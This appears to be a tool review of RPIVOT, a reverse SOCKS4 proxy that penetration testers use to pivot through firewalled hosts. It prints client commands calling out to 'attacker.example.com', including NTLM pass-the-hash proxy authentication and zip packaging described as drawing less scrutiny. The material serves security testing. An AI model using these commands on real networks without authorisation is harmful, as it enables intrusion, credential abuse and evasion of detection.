RPIVOT: Reverse SOCKS Proxying for Penetration Testing When Firewalls Block Inbound Connections

Hook

Most proxies require you to connect TO them, but what happens when your compromised target sits behind a firewall that blocks all inbound connections? You need a proxy that works backwards.

Context

Traditional network pivoting relies on establishing a forward connection to a compromised machine—think SSH dynamic port forwarding, where you SSH into a box and create a local SOCKS proxy. But penetration testers frequently encounter environments where compromised systems can make outbound connections while blocking all inbound traffic. Corporate networks, DMZ segmentation, and egress-only firewall rules create scenarios where you've gained code execution on a machine but can't SSH in, can't receive reverse shells on non-standard ports, and certainly can't establish a traditional proxy listener.

This is where reverse proxies become essential. Instead of the penetration tester connecting to the compromised machine, the compromised machine initiates an outbound connection to the tester's server. RPIVOT implements this pattern specifically for SOCKS4 proxying, allowing penetration testers to tunnel tools like nmap, sqlmap, or browsers through a compromised host that can only phone home. The tool emerged from KLSec Services' need for a lightweight, dependency-free solution that could traverse corporate NTLM proxies—a common obstacle where outbound traffic must authenticate through an internal proxy before reaching the internet.

Technical Insight

RPIVOT's architecture inverts the traditional client-server relationship. The penetration tester runs a server component on their attack machine, which listens for connections from the client component deployed on the compromised target. Once the client establishes this reverse connection, the server creates a local SOCKS4 proxy (typically on 127.0.0.1:1080) that forwards all traffic back through the established tunnel to the client, which then forwards it into the target network.

The server component is straightforward to launch:

python server.py --proxy-port 9999 --server-port 1080 --server-ip 0.0.0.0

This starts the server listening on port 9999 for client connections while creating a SOCKS4 proxy on port 1080. On the compromised machine, you deploy the client:

python client.py --server-ip attacker.example.com --server-port 9999

The client immediately connects outbound to your server, establishing the reverse tunnel. Now any tool configured to use SOCKS4 proxy 127.0.0.1:1080 on your attack machine will have its traffic routed through the compromised host into the internal network.

The implementation cleverly handles the bidirectional nature of proxy connections using Python's socket select() mechanism. The server maintains connection state for each SOCKS client request, mapping local connections to forwarded connections through the tunnel. When your browser requests a connection through the SOCKS proxy to an internal web server at 192.168.1.100:80, the server encodes this request, sends it through the tunnel to the client, which creates the actual connection to 192.168.1.100, then relays data bidirectionally.

What sets RPIVOT apart is its NTLM proxy support. Many corporate environments require outbound connections to authenticate through an internal proxy using NTLM. RPIVOT implements NTLM authentication including pass-the-hash capability:

python client.py --server-ip attacker.example.com --server-port 9999 \
  --ntlm-proxy-ip 10.0.0.1 --ntlm-proxy-port 8080 \
  --domain CORP --username jdoe --hashes :8846f7eaee8fb117ad06bdd830b7586c

This allows the client to authenticate through the corporate proxy using only the NTLM hash, without needing the cleartext password. The tool implements the NTLM challenge-response protocol directly, calculating responses from the hash value. This is particularly valuable when you've extracted NTLM hashes from memory or registry but haven't cracked the passwords.

RPIVOT's portability stems from zero external dependencies beyond Python 2's standard library. The entire codebase uses only built-in modules like socket, select, struct, and base64. This design decision means you can drop client.py onto almost any Linux/Unix system or Windows machine with Python installed and it runs immediately. For Windows environments without Python, the project provides a pre-compiled executable created with PyInstaller, though this trades the small footprint of a Python script for a larger binary.

The code can also be packaged as a zip file and executed directly:

zip -r rpivot.zip client.py
python rpivot.zip --server-ip attacker.example.com --server-port 9999

This packaging approach reduces the artifact footprint—instead of multiple files, you transfer and execute a single zip, which some environments may scrutinize less than a .py file or .exe binary.

Gotcha

The SOCKS4-only limitation becomes apparent quickly. SOCKS4 predates SOCKS5 by years and lacks critical features: no UDP support means tools relying on DNS queries through the proxy won't work as expected (SOCKS4 only handles TCP), no IPv6 support restricts you to IPv4 addresses, and no authentication mechanism exists at the SOCKS protocol level. While this rarely matters for penetration testing internal networks that are predominantly IPv4 TCP-based, tools expecting SOCKS5 features may behave unexpectedly or fail.

The Python 2.6-2.7 dependency is increasingly problematic. Python 2 reached end-of-life in January 2020, and modern operating systems ship with Python 3 exclusively. While many Linux distributions still include python2 packages, deploying them may require additional installation steps that leave logs and raise red flags. Windows systems rarely have Python 2 installed by default anymore. The pre-built Windows executable helps but increases the deployment footprint from kilobytes to megabytes. More concerningly, running deprecated Python versions introduces potential security vulnerabilities—ironic for a security tool. The codebase hasn't been updated to Python 3, and the repository shows minimal recent activity, suggesting maintenance has stalled.

Performance limitations emerge with multiple simultaneous connections. The single-threaded select() loop handles all connections sequentially, which creates bottlenecks when pivoting multiple aggressive tools through the proxy simultaneously. Running an nmap scan while browsing through the same tunnel may result in degraded performance for both. For occasional use or single-tool pivoting this rarely matters, but high-throughput scenarios expose the architectural constraint.

Verdict

Use if: You're conducting penetration tests in corporate environments with NTLM proxies and need pass-the-hash proxy authentication, you've compromised systems that only allow outbound connections and need to pivot deeper into the network, or you need an ultra-lightweight solution with zero dependencies that can run on legacy Python 2 systems. RPIVOT excels at solving one specific problem very well—reverse SOCKS proxying through NTLM proxies—and its minimal footprint makes deployment trivial. Skip if: You need modern Python 3 support, require SOCKS5 features like UDP or IPv6, need high-performance multi-connection pivoting, or want actively maintained tooling with ongoing security updates. For most modern red team operations, Chisel or ligolo-ng provide better performance and maintenance, though they lack RPIVOT's specific NTLM proxy capabilities. Consider RPIVOT a specialized tool for a specific scenario rather than a general-purpose pivoting solution.